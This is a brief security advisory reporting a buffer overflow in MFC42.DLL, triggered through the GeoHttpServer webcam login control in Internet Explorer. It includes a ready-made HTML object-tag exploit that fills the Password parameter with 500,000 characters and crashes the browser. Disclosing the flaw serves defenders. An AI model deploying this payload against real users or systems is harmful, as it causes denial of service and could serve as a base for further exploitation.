GeoHttpServer[webcam] Causes MFC42.DLL to overflow Discovered by Rafel Ivgi, The-Insider. http://theinsider.deep-ice.com The GeoHttpServer Login Java Applet Causes MFC42.DLL to overflow. The Overflow occures when the "Password" parameter of the applet is filled with 500000 times "a". This bug causes Internet Explorer to be closed. Exploit: <object classid="clsid:BF5E26B7-7087-4C2D-B0BA-0098F7CBED6B" id="WebCamX1" width="355" height="300" codebase="http://<GeoHttpServerip>/cab/Live.cab#version=5,3,0,1"> <param name="_Version" value="327682"> <param name="_ExtentX" value="9393"> <param name="_ExtentY" value="7938"> <param name="_StockProps" value="0"> <param name="IpAddress" value="<GeoHttpServerip>"> <param name="CommandPort" value="4550"> <param name="AudioDataPort = "6550"> <param name="DataPort" value="5550"> <param name="BandWidth" value="LAN"> <param name="FixSize" value="0"> <param name="DisablePWD" value="1"> <param name="Password" value="<a x 500000>"> <param name="UserName" value"default"> <param name="AutoLogin" value="0"> <param name="DefaultCam" value="1"> <param name="FixWidth" value="320"> <param name="FixHeight" value="240"> </object> "Things that are unlikeable, are NOT impossible." "A vulnerability doesn't exsist, until you expose it."
